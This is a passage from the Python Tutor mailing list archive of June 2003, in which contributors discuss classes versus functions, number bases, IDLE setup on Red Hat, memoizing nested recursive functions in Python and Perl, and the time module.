I haven't really used Twisted for real yet, but it seems really
interesting. I'll take some tutorials during EuroPython next week! :)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From decibelshelp@charter.net  Fri Jun 20 18:38:01 2003
From: decibelshelp@charter.net (Decibels)
Date: Fri Jun 20 17:38:01 2003
Subject: [Tutor] When to use a Class or just define functions?
In-Reply-To: <002801c33769$12975ff0$6401a8c0@xp>
References: <web-1606633@rems09.cluster1.charter.net> <002801c33769$12975ff0$6401a8c0@xp>
Message-ID: <200306201637.07151.decibelshelp@charter.net>

Thank you Magnus and Alan for taking the time to explain in detail.

Dave




From bgailer@alum.rpi.edu  Fri Jun 20 18:42:14 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Fri Jun 20 17:42:14 2003
Subject: [Tutor] When to use a Class or just define functions?
In-Reply-To: <002801c33769$12975ff0$6401a8c0@xp>
References: <web-1606633@rems09.cluster1.charter.net>
Message-ID: <5.2.1.1.0.20030620153837.024a5850@66.28.54.253>

--=======6D597D50=======
Content-Type: text/plain; x-avg-checked=avg-ok-29A86F66; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 09:18 PM 6/20/2003 +0100, Alan Gauld wrote:


> > class Quotes:
> >       pass
> >
> > Very simple, but what 'extra' benefit does making a class
> > and passing it, really do?
>
>None whatsoever since 'pass' doesn't pass the class to anywhere
>it tells the interpreter to pass over the line, thus it does
>literally nothing! Classes are only useful if you put some methods
>inside them.
[snip]
Oh I disagree. A class can do what a C struct does; collect properties that 
have potentially differing values for various instances, and no methods.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======6D597D50=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-29A86F66
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======6D597D50=======--



From kettil42@home.se  Fri Jun 20 19:02:03 2003
From: kettil42@home.se (kettil)
Date: Fri Jun 20 18:02:03 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <5.2.1.1.0.20030619124345.02698410@66.28.54.253>
References: <Law15-F23b8quUyNuDj0001cf82@hotmail.com>
 <5.2.1.1.0.20030619124345.02698410@66.28.54.253>
Message-ID: <20030619225814.14390236.kettil42@home.se>

> "base 10" is ambiguous. We usually interpret that to mean the decimal 
> system, but an 8 fingered alien who counts in octal would say "base 10" and 
> it would mean octal.
> 
How could that be?
Isn't base "10" named after those ten fingers?(or at least have something to do with 10) 
Or have I missed the point? (have a strong feeling I have)

  -- Kettil


From lkvam@venix.com  Fri Jun 20 19:02:21 2003
From: lkvam@venix.com (Lloyd Kvam)
Date: Fri Jun 20 18:02:21 2003
Subject: [Tutor] built in functions int(),long()
References: <3EF202FF.5050306@ccvcorp.com> <Law15-F23b8quUyNuDj0001cf82@hotmail.com> <5.2.1.1.0.20030620005427.01f137c8@www.thinkware.se>
Message-ID: <3EF2FC6F.3020202@venix.com>

 > Base(* * * * * * * * * *) ?

Base one (like Roman Numerals)

Magnus Lyck=E5 wrote:
> At 12:47 2003-06-19 -0600, Bob Gailer wrote:
>=20
>> "base 10" is ambiguous. We usually interpret that to mean the decimal=20
>> system, but an 8 fingered alien who counts in octal would say "base=20
>> 10" and it would mean octal.
>=20
>=20
> Oh no Bob. There are only 10 reasonable ways to
> understand the number 10. The right way, and the
> wrong way! :)
>=20
> Actually, it might be better to write "base(9+1)"...
>=20
> (Now you know it, I'm a dolphin and I only have
> two flippers... ;)
>=20
> It's funny btw, I've mentioned before that I feel
> that Jeff Shannon often seem to write just what I
> am thinking, and today (oops, yesterday, it's past
> midnight again) we both felt that we had to print
> a sequence of asterisks to present numbers. Maybe
> that's the only unambiguous way?
>=20
> Base(* * * * * * * * * *) ?
>=20
> Perhaps the positional number system is fundamentally
> flawed?
>=20
> (Or as the father in Patric Leconte's "The Hairdresser's
> Husband" put it: "What is the difference between an
> ordinary dog and a binary dog?
> The ordinary dog has one head, one tail and four legs.
> The binary dog has one head, one tail, one leg, one leg,
> one leg and one leg." :)
>=20
>=20
> --=20
> Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
> Thinkware AB, Sweden, www.thinkware.se
> I code Python ~ The Agile Programming Language
>=20
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>=20


--=20
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From zmerch@30below.com  Fri Jun 20 19:16:47 2003
From: zmerch@30below.com (Roger Merchberger)
Date: Fri Jun 20 18:16:47 2003
Subject: [Tutor] Python and PHP
In-Reply-To: <5.2.1.1.0.20030620230641.01f82140@www.thinkware.se>
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
Message-ID: <5.1.0.14.2.20030620180805.027cc8d0@mail.30below.com>

Rumor has it that Magnus Lyckå may have mentioned these words:

>Apart from what I mentioned before, I think this article might
>be useful:
>
>http://www.python.org/cgi-bin/moinmoin/PresentationTechnologies
>
>Also, I forgot to mention Twisted, see http://www.twistedmatrix.com/
>and http://www.twistedmatrix.com/documents/howto/woven etc.
>
>I haven't really used Twisted for real yet, but it seems really
>interesting. I'll take some tutorials during EuroPython next week! :)

I took a /really/ quick look at some of the lists there (I didn't look at 
Twisted yet)... and what looks _totally kewl_ to me is CherryPy -- I've 
finally gotten to the point that I can write some basic CGI in Python 
(forms stuffing a database -- psycopg was a PITA to compile on RedHat 9!!! 
:-/ ); but coming from a ColdFusion point of view, I'd like something more 
integrated with HTML than straight CGI.

The coder of CherryPy is going to be at EuroPython -- but he's only got 
enough time for a 5 minute talk or so...

Anyway, gotta blast... Laterz!
Roger "Merch" Merchberger

--
Roger "Merch" Merchberger -- sysadmin, Iceberg Computers
zmerch@30below.com

What do you do when Life gives you lemons,
and you don't *like* lemonade?????????????



From Jeffrey Haun" <pug405@bigfoot.com  Fri Jun 20 19:17:09 2003
From: Jeffrey Haun" <pug405@bigfoot.com (Jeffrey Haun)
Date: Fri Jun 20 18:17:09 2003
Subject: [Tutor] IDLE under redhat 9
Message-ID: <000e01c33781$bca98140$09ff1e43@lantern>

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C33757.C87C2F10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello:

Having a hard time getting idle to start under redhat. I keep getting =
errors about missing modules. Tried looking at the site.py file, but not =
sure what to do with it. When to python.org for help, but didn't find =
anything that addresses this.=20

Thanks

Jeff
------=_NextPart_000_000B_01C33757.C87C2F10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hello:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Having a hard time getting idle to =
start under=20
redhat. I keep getting errors about missing modules. Tried looking at =
the=20
site.py file, but not sure what to do with it. When to python.org for =
help, but=20
didn't find anything that addresses this. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jeff</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C33757.C87C2F10--



From alan.gauld@blueyonder.co.uk  Fri Jun 20 19:38:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 20 18:38:02 2003
Subject: [Tutor] When to use a Class or just define functions?
References: <web-1606633@rems09.cluster1.charter.net> <5.2.1.1.0.20030620153837.024a5850@66.28.54.253>
Message-ID: <004701c3377c$7039bb90$6401a8c0@xp>

> >literally nothing! Classes are only useful if you put some methods
> >inside them.
> [snip]
> Oh I disagree. A class can do what a C struct does; collect
properties that
> have potentially differing values for various instances, and no
methods.

Good point Bob. I was thinking in the context of the question about
putting functions in classes or modules. However classes without
functions can still be useful if they have attributes.

In fact even a 'pass' class like the one under discussion can be
useful
in Python since we can add attributes at runtime to instances.
However, in general, empty classes(no attributes or methods) are
pretty useless.

Alan g.



From dyoo@hkn.eecs.berkeley.edu  Fri Jun 20 19:42:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri Jun 20 18:42:01 2003
Subject: [Tutor] Number representation
In-Reply-To: <20030619225814.14390236.kettil42@home.se>
Message-ID: <Pine.LNX.4.44.0306201505150.6289-100000@hkn.eecs.berkeley.edu>


On Thu, 19 Jun 2003, kettil wrote:

> > "base 10" is ambiguous. We usually interpret that to mean the decimal
> > system, but an 8 fingered alien who counts in octal would say "base
> > 10" and it would mean octal.
>
> How could that be? Isn't base "10" named after those ten fingers?(or at
> least have something to do with 10)  Or have I missed the point? (have a
> strong feeling I have)


We're going WAY WAY off list topic now.  *grin*

I think the intention was to say that saying "base 10" is as ambiguous and
relative as an alien saying the word "Earth", or to an American saying the
word "Homeland".


I personally disagree about base 10 though. I think "base 10" has a
specific meaning that isn't relative to the person speaking the term:  I
feelt that it's a statement about the kind of positional number system
we're using to represent our numbers.



We better somehow drag this conversation back into something related to
Python.  *grin* With all this talk about representation of numbers, it
might be neat to see that we can represent numbers in ways that aren't
quite obvious:


###
>>> zero = ()
>>> def succ(number):
...     "Returns the successor of a given number"
...     return (number,)
...
>>> def pred(number):
...     "Returns the predecessor of a given number"
...     return number[0]
...
>>> zero
()
>>> succ(zero)
((),)
>>> succ(succ(zero))
(((),),)
###


That is, we can represent the concept of number as the nesting level of a
tuple.  This isn't really an efficient representation in a computer, but
it does work!


###
>>> def add(n1, n2):
...     "Defines addition between two 'numbers'."
...     if n1 == zero:
...         return n2
...     return add(pred(n1), succ(n2))
...
>>> two = succ(succ(zero))
>>> add(two, two) == succ(succ(succ(succ(zero))))
1
###


In such an odd system of arithmetic, we can still have a sense of number:
we can still do some useful calculations.  In fact, we can even define
multiplication, because multiplication can be seen as a bunch of additions
based on two rules:

    0*b == 0                   ## Rule 1
    a*b == b + (a-1) * b       ## Rule 2

###
>>> def mul(a, b):
...     "Defines multiplication between two 'numbers'"
...     if a == zero:
...         return zero
...     return add(b, mul(pred(a), b))
...
>>> four = add(two, two)
>>> four
(((((),),),),)
>>> mul(four, four)
(((((((((((((((((),),),),),),),),),),),),),),),),)
###


In all of this, it's a good thing to keep in mind that the question about
what "base" this tuple arithmetic is in is a meaningless one:  The concept
of 'base' can only apply when we're dealing with representing a number
with a particular positional number system.  Positional number systems
deal with concepts like digits and positions.


And in this tuple representation, we're not using position to mean
anything.  *grin* Number is not tied down to the number of digits on our
hands, although we might find it convenient to do so for calculation
reasons.


If you're interested in this stuff about representations of ideas, you may
find Douglas Hofstadter's book, "Godel, Escher, Bach: An Eternal Golden
Braid", an awesome book to read: he has several chapters on stuff like
this.


Hope this helps!



From magnus@thinkware.se  Fri Jun 20 19:42:16 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 18:42:16 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <20030619225814.14390236.kettil42@home.se>
References: <5.2.1.1.0.20030619124345.02698410@66.28.54.253>
 <Law15-F23b8quUyNuDj0001cf82@hotmail.com>
 <5.2.1.1.0.20030619124345.02698410@66.28.54.253>
Message-ID: <5.2.1.1.0.20030621001451.01faddf0@www.thinkware.se>

At 22:58 2003-06-19 +0200, kettil wrote:
>How could that be?
>Isn't base "10" named after those ten fingers?(or at least have something 
>to do with 10)
>Or have I missed the point? (have a strong feeling I have)

In a positional number system, like the binary, octal, decimal,
hexadecimal or Mayan, but unlike for instance the roman number
system, you typically have as many digits as the base in your
system, and they have the values 0 to base-1.

The exception I know of is the Mayan system that is base 20 but
actually has 21 digits. (They used digits symbolising 0 to 20,
not 0 to 19. Of course, the digit 20 was only used in the leftmost
position in a number (I assume).)

Anyway, assuming that we use normal arab numbers and if needed
some additional symbols like letters, and use an arbitrary base ?,
we won't be able to write ? as one digit. The highest number we
can write with one digit is ?-1, so ? will always be written as
10, regardless of the base.

In the binary system we have the numbers 0 and 1, so the value
that we call 2 is written 10 in binary. So, if you were a dolphin
with two flippers instead of ten fingers, you would obviously write
that you used base 10, while those human guys with 101 little twigs
on each flipper use base 1010.

Written in it's own system, every positional number system that
uses the kind of notation we do, will call it's own base 10.
*That* is what 10 *really* means. It's the first number that can't
be written with one digit. It's the number that symbolises the
number of different digits in that system.

Or, to put it in Python:

 >>> for i in range(2,17):
...     print int('10', i)
...
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Fri Jun 20 19:52:30 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 18:52:30 2003
Subject: [Tutor] IDLE under redhat 9
In-Reply-To: <000e01c33781$bca98140$09ff1e43@lantern>
Message-ID: <5.2.1.1.0.20030621004835.01ea7758@www.thinkware.se>

At 18:14 2003-06-20 -0500, Jeffrey Haun wrote:
>Having a hard time getting idle to start under redhat. I keep getting 
>errors about missing modules. Tried looking at the site.py file, but not 
>sure what to do with it. When to python.org for help, but didn't find 
>anything that addresses this.

It's much easier to help you with this if you tell us
exactly what errors you get.

You shouldn't have to touch site.py as far as I understand.

IDLE obviously needs X to run, and it also needs Tcl/Tk.

How did you install Python? Are you using the vanilla
Redhat RPM, or did you build from source? I really assume
that the Redhat RPMs should be able to handle the
dependencies. Was IDLE included in your install, or did
you add that yourself?

What about doing "import Tkinter" in a Python interpreter?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Fri Jun 20 20:05:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Fri Jun 20 19:05:01 2003
Subject: [Tutor] When to use a Class or just define functions?
In-Reply-To: <5.2.1.1.0.20030620153837.024a5850@66.28.54.253>
References: <002801c33769$12975ff0$6401a8c0@xp>
 <web-1606633@rems09.cluster1.charter.net>
Message-ID: <5.2.1.1.0.20030621005839.01f744e8@www.thinkware.se>

At 15:40 2003-06-20 -0600, Bob Gailer wrote:
>Oh I disagree. A class can do what a C struct does; collect properties 
>that have potentially differing values for various instances, and no methods.

But a blank class like that is more like a namespace
than it is like a struct. A C struct has a defined
structure--it provides space for certain types of
data, but an empty class is more like a restricted
dict where the keys have to be strings that fulfill
the requirements of identifiers, and the syntax for
using it is different.

Something more similar to a C struct would be a new
style class with slots. See

http://www.python.org/2.2.3/descrintro.html


E.g.

 >>> class PersonStruct(object):
...     __slots__ = ['fname', 'lname', 'id']
...
 >>> p = PersonStruct()
 >>> p.fname = 'Guido'
 >>> p.lname = 'van Rossum'
 >>> p.id = 1
 >>> p.email = 'guido@example.com'
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
AttributeError: 'PersonStruct' object has no attribute 'email'

Of course, this construct will allow any type in any
attribute. To make it type checked like C, you need to
use properties or something like that, which is also
described in descrintro.html...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From jyllyj@gcom-cn.com  Sat Jun 21 01:00:02 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Sat Jun 21 00:00:02 2003
Subject: [Tutor] Re: [Tutor]how to get tree view widgets in python GUI? (for linux os)
Message-ID: <00a301c337a9$8f6ad5d0$224c70dc@homeu0a59ztmqs>

This is a multi-part message in MIME format.

------=_NextPart_000_00A0_01C337EC.9D07A7C0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: base64

U3ViamVjdDogUmU6IFtUdXRvcl0gW1R1dG9yXWhvdyB0byBnZXQgdHJlZSB2aWV3IHdpZGdldHMg
aW4gcHl0aG9uIEdVST8gKGZvciBsaW51eCBvcykNCg0KDQo+IHBpdGEgIHdyb3RlOg0KPiA+IGhp
IHRoZXJlDQo+ID4gYnkgc2VhY2ggcG13IGFuZCB0a2ludGVyIGJ1dCAgbm8gZm91bmQgc3VwcG9y
dGVkKCB0cmVlIHZpZXcgd2lkZ2V0cykuDQo+ID4gY2FuIHNvbWVvbmUgdGVsbCBtZSB0aGUgcG9w
dWxhciBzb2x1dGlvbj8NCj4gVGhlIDEuMSB2ZXJzaW9uIG9mIFBtdyBoYXMgYSB0cmVlIHdpZGdl
dCBpbiB0aGUgY29udHJpYiBkaXJlY3RvcnkuDQo+IChUcmVlQnJvd3Nlci5weSwgR1BMIGxpY2Vu
c2UpDQo+IA0KPiBUaGVyZSBpcyBhIHJlYWxseSBuaWNlIHB1cmUgVGtpbnRlciBvbmUgKG5vIFBt
dykgYXQ6DQo+IGh0dHA6Ly9ob21lLmNmbC5yci5jb20vZ2VuZWNhc2gvdHJlZS5odG1sDQo+IChC
U0QtbGlrZSBsaWNlbnNlKQ0KDQogICAgdGhlIG9uZSBodHRwOi8vaG9tZS5jZmwucnIuY29tL2dl
bmVjYXNoL3RyZWUuaHRtbCBpcyBuaWNlIHRoYW4gUG12J3MNCg0KPiAoVGhlcmUgbWlnaHQgYmUg
b3RoZXJzLCBnb2dnbGUgZ2l2ZXMgMTU0MCBoaXRzIGZvciAndGtpbnRlciB0cmVlIHdpZGdldCcp
DQogICAgeWVzLmJ1dCBteSBlbmdsaXNoIGlzIHBvb3IuDQogICAgaWYgYWxsIDE1NDAgaGl0cyAg
d3JpdGVkIGluIGNoaW5lc2UsdGhhdCdzIGdvb2QgZm9yIG1lLGJ1dCBzaG91bGQgIHlvdXIgc2Vh
Y2ggaXQgKGNoaW5lc2UgaGl0KSBvbmUgYnkgb25lICA6XikgIA0KPiANCj4gQWJlbCBEYW5pZWwN
Cj4gDQo+IA0KDQo=

------=_NextPart_000_00A0_01C337EC.9D07A7C0
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiI+DQo8TUVUQSBjb250ZW50PSJNU0hU
TUwgNi4wMC4yODAwLjExNzAiIG5hbWU9R0VORVJBVE9SPg0KPFNUWUxFPjwvU1RZTEU+DQo8L0hF
QUQ+DQo8Qk9EWSBiZ0NvbG9yPSNmZmZmZmY+DQo8RElWPjxGT05UIGZhY2U9QXJpYWwgc2l6ZT0y
PjxGT05UIHNpemU9Mz5TdWJqZWN0OiBSZTogW1R1dG9yXSBbVHV0b3JdaG93IHRvIGdldCANCnRy
ZWUgdmlldyB3aWRnZXRzIGluIHB5dGhvbiBHVUk/IChmb3IgbGludXggb3MpPEJSPjxCUj48QlI+
Jmd0OyBwaXRhJm5ic3A7IA0Kd3JvdGU6PEJSPiZndDsgJmd0OyBoaSB0aGVyZTxCUj4mZ3Q7ICZn
dDsgYnkgc2VhY2ggcG13IGFuZCB0a2ludGVyIGJ1dCZuYnNwOyBubyANCmZvdW5kIHN1cHBvcnRl
ZCggdHJlZSB2aWV3IHdpZGdldHMpLjxCUj4mZ3Q7ICZndDsgY2FuIHNvbWVvbmUgdGVsbCBtZSB0
aGUgDQpwb3B1bGFyIHNvbHV0aW9uPzxCUj4mZ3Q7IFRoZSAxLjEgdmVyc2lvbiBvZiBQbXcgaGFz
IGEgdHJlZSB3aWRnZXQgaW4gdGhlIA0KY29udHJpYiBkaXJlY3RvcnkuPEJSPiZndDsgKFRyZWVC
cm93c2VyLnB5LCBHUEwgbGljZW5zZSk8QlI+Jmd0OyA8QlI+Jmd0OyBUaGVyZSANCmlzIGEgcmVh
bGx5IG5pY2UgcHVyZSBUa2ludGVyIG9uZSAobm8gUG13KSBhdDo8QlI+Jmd0OyA8L0ZPTlQ+PEEg
DQpocmVmPSJodHRwOi8vaG9tZS5jZmwucnIuY29tL2dlbmVjYXNoL3RyZWUuaHRtbCI+PEZPTlQg
DQpzaXplPTM+aHR0cDovL2hvbWUuY2ZsLnJyLmNvbS9nZW5lY2FzaC90cmVlLmh0bWw8L0ZPTlQ+
PC9BPjxCUj48Rk9OVCBzaXplPTM+Jmd0OyANCihCU0QtbGlrZSBsaWNlbnNlKTxCUj48QlI+Jm5i
c3A7Jm5ic3A7Jm5ic3A7IHRoZSBvbmUgPC9GT05UPjxBIA0KaHJlZj0iaHR0cDovL2hvbWUuY2Zs
LnJyLmNvbS9nZW5lY2FzaC90cmVlLmh0bWwiPjxGT05UIA0Kc2l6ZT0zPmh0dHA6Ly9ob21lLmNm
bC5yci5jb20vZ2VuZWNhc2gvdHJlZS5odG1sPC9GT05UPjwvQT48Rk9OVCBzaXplPTM+IGlzIG5p
Y2UgDQp0aGFuIFBtdidzPEJSPjxCUj4mZ3Q7IChUaGVyZSBtaWdodCBiZSBvdGhlcnMsIGdvZ2ds
ZSBnaXZlcyAxNTQwIGhpdHMgZm9yIA0KJ3RraW50ZXIgdHJlZSB3aWRnZXQnKTxCUj4mbmJzcDsm
bmJzcDsmbmJzcDsgeWVzLmJ1dCBteSBlbmdsaXNoIGlzIA0KcG9vci48QlI+Jm5ic3A7Jm5ic3A7
Jm5ic3A7IGlmIGFsbCAxNTQwIGhpdHMmbmJzcDsgd3JpdGVkIGluIGNoaW5lc2UsdGhhdCdzIGdv
b2QgDQpmb3IgbWUsYnV0IHNob3VsZCZuYnNwOyB5b3VyIHNlYWNoIGl0IChjaGluZXNlIGhpdCkg
b25lIGJ5IG9uZSZuYnNwOyA6XikmbmJzcDsgDQo8QlI+Jmd0OyA8QlI+Jmd0OyBBYmVsIERhbmll
bDxCUj4mZ3Q7IDxCUj4mZ3Q7IA0KPC9GT05UPjxCUj48QlI+PC9GT05UPjwvRElWPjwvQk9EWT48
L0hUTUw+DQo=

------=_NextPart_000_00A0_01C337EC.9D07A7C0--





From rmangaliag@slu.edu.ph  Sat Jun 21 01:12:01 2003
From: rmangaliag@slu.edu.ph (ali)
Date: Sat Jun 21 00:12:01 2003
Subject: [Tutor] Python and PHP
References: <20030620193235.48145.qmail@web20202.mail.yahoo.com>
Message-ID: <004d01c337ad$a32e5b60$e019a8c0@slu.edu.ph>

i've tried using spyce (http://spyce.sf.net)... and i think it rivals php in
embedded html scripting... without sacrificing the object-oriented power of
python...

but then again, its a matter of preference....


> I know it does what it does well,
> but does python have any modules that we can use
> instead to build out page on?
>
> thanks
>
> G
>




From glingl@aon.at  Sat Jun 21 06:24:01 2003
From: glingl@aon.at (Gregor Lingl)
Date: Sat Jun 21 05:24:01 2003
Subject: [Tutor] Memoizing ...   [advanced topic: transparent memoization
 and nested scoping will conflict]
References: <Pine.LNX.4.44.0306201028340.21533-100000@hkn.eecs.berkeley.edu>
Message-ID: <3EF4247E.9030502@aon.at>

Danny Yoo schrieb

>Hi everyone,
>
>Unfortunately, there are some potential problems when we do memoization on
>recursive functions when nested scope is involved.  Whew, that was a
>mouthful.  *grin*
>
>This is a very obscure issue --- most people will never ever run into
>this problem --- so run away from this message when it starts looking
>weird.
>
>  
>
Thanks, Danny, for your thorough demonstrations and explanations. 
Nevertheless
I must admit, that I haven't got it fully until now. I'll have to think 
about it on some
quite weekend.

I observed, that - if the goal only were to have a factory for 
fib-functions - one can get around
with:

def fib_maker(a, b):
    def fib_helper(n):
        if n == 0: return a
        if n == 1: return b
        return fib_helper(n-1) + fib_helper(n-2)
    fib_helper = Memoize(fib_helper)
    return fib_helper

I understand, that this is not a satisfactory solution to the problem of 
Memoize.
However,
(a) could you give me a clue, why this works in contrast to Memoizing the
returned fib_helper.
(b) this gives raise to the question if an enhanced Memoize could, by 
some sort
of inspection of fn, determine if this nested_scope_problem will occur 
with fn?
(Even if your words suggest that there is no hope to solve it)

Thanks, Gregor

PS.: By the way, thanks also for your de- and enlightening implementation
of Peanos axioms for the natural numbers (except that probably there will
not be infinitely many of them in my computer ... ;-) ) along with your
accompanying explanations of those different types of their 
representations ...

They really create understanding!






>
>
>
>
>
>
>
>
>Ok, is the room empty now?  *grin* First, let's try out memoization on the
>classic Fibonacci function:
>
>###
>  
>
>>>>def fib(n):
>>>>        
>>>>
>...     if n < 2: return 1
>...     return fib(n-1) + fib(n-2)
>...
>  
>
>>>>class Memoize:
>>>>        
>>>>
>...     def __init__(self, fn):
>...         self.fn = fn
>...         self.memo = {}
>...     def __call__(self, *args):
>...         if args not in self.memo:
>...             self.memo[args] = self.fn(*args)
>...         else:
>...             print "memoized lookup for %s" % args
>...         return self.memo[args]
>...
>  
>
>>>>fib = Memoize(fib)
>>>>fib(5)
>>>>        
>>>>
>memoized lookup for 1
>memoized lookup for 2
>memoized lookup for 3
>8
>  
>
>>>>fib(6)
>>>>        
>>>>
>memoized lookup for 5
>memoized lookup for 4
>13
>###
>
>
>
>Ok, this looks good so far.  Memoization is working perfectly at the
>moment.  But what about this?
>
>###
>  
>
>>>>def fib_maker(a, b):
>>>>        
>>>>
>...     def fib_helper(n):
>...         if n == 0: return a
>...         if n == 1: return b
>...         return fib_helper(n-1) + fib_helper(n-2)
>...     return fib_helper
>...
>  
>
>>>>fib = fib_maker(1, 1)
>>>>fib = Memoize(fib)
>>>>fib(5)
>>>>        
>>>>
>8
>  
>
>>>>fib(5)
>>>>        
>>>>
>memoized lookup for 5
>8
>  
>
>>>>fib(6)
>>>>        
>>>>
>13
>  
>
>>>>fib(6)
>>>>        
>>>>
>memoized lookup for 6
>13
>###
>
>
>Big difference!  Here, we see that the recursive calls aren't going
>through the same memoization route as the first example, so the
>performance will inevitably suffer.  We do get a kind of memoization, but
>only in a very shallow way.
>
>
>
>This issue is known by the Lisp/Scheme community; it's briefly hinted in
>SICP Exercise 3.27:
>
>http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-22.html#%_thm_3.27
>
>
>What's happening is that, within the internal fib_helper() function, those
>recursive calls to fib_helper() are calls to itself.
>
>
>When we do a memoization here:
>
>  
>
>>>>fib = f()
>>>>fib = Memoize(fib)
>>>>        
>>>>
>
>those internal recursive calls still go through the unmemoized versions of
>the function.  It's very diabolical.  The only reason we don't run into it
>in the first example in Python is because Python apparently doesn't use
>nested-scope rules at toplevel.
>
>
>I'm not aware of a way to fix this without making fib() itself aware that
>it's going to be memoized; if anyone can bring more enlightenment on this,
>I'll be very happy.
>
>
>The lesson, I guess, is to be aware that nested-scoped functions and
>automatic memoization probably won't mix very well without some careful
>work.  But for the most part, we'll seldom run into this issue.
>
>
>
>
>On a related note: most Perl folks know about the 'Memoize' package,
>written by Mark Jason Dominius.
>
>    http://perl.plover.com/MiniMemoize/memoize.html
>
>It's pretty cool.  In fact, it makes memoizing functions seem like magic,
>and Mark's Memoize package can automatically memoize most functions.  But
>for those who think Perl somehow has it any easier than Python, the
>example below shows that it too has similar problems when nested scope and
>memoization mix:
>
>
>###
>use strict;
>use Memoize;
>
>
>sub fib_maker {
>    my ($a, $b) = @_;
>    my $fib_helper = sub {
>	my ($f, $n) = @_;
>	print "Called on $n\n";
>	if ($n == 0) { return $a;}
>	if ($n == 1) { return $b;}
>	return $f->($f, $n-1) + $f->($f, $n-2);
>    };
>    ## Some contortions seem necessary to get a nested-scope recursive
>    ## function... *grin*
>    return sub { $fib_helper->($fib_helper, @_[0]) };
>}
>
>{ no strict 'refs';
>  *{fib} = fib_maker(1, 1);
>}
>
>memoize('fib');
>
>print "call1", "\n";
>print fib(5),  "\n";
>print "call2", "\n";
>print fib(6),  "\n";
>print "call3", "\n";
>print fib(6),  "\n";
>###
>
>
>The conflict between automatic memoization and nested scopes is a
>language-indepdendent problem.
>
>
>
>Anyway, hope this helps!
>
>
>
>  
>






From walt436@juno.com  Sat Jun 21 11:24:02 2003
From: walt436@juno.com (walt436@juno.com)
Date: Sat Jun 21 10:24:02 2003
Subject: [Tutor] The time and clock functions
Message-ID: <20030621.072059.-42349.2.walt436@juno.com>

+ + + + + + + + + + + + + + + + + + + + + + + + +

When I am in IDLE,  I can't get the time() or clock() functions to work. 
Can someone provide a code snippet I can use???  I thought they were
built-in and didn't require anything more than just invoking them. 
Thanks.

--  Walt

+ + + + + + + + + + + + + + + + + + + + + + + + +

________________________________________________________________
The best thing to hit the internet in years - Juno SpeedBand!
Surf the web up to FIVE TIMES FASTER!
Only $14.95/ month - visit www.juno.com to sign up today!


From abli@freemail.hu  Sat Jun 21 11:36:02 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sat Jun 21 10:36:02 2003
Subject: [Tutor] The time and clock functions
In-Reply-To: <20030621.072059.-42349.2.walt436@juno.com>
References: <20030621.072059.-42349.2.walt436@juno.com>
Message-ID: <20030621143523.GA441@hooloovoo>

> When I am in IDLE,  I can't get the time() or clock() functions to work. 
> Can someone provide a code snippet I can use???  I thought they were
> built-in and didn't require anything more than just invoking them. 
> Thanks.
They are in the module named 'time', so you need to 'import time' first.
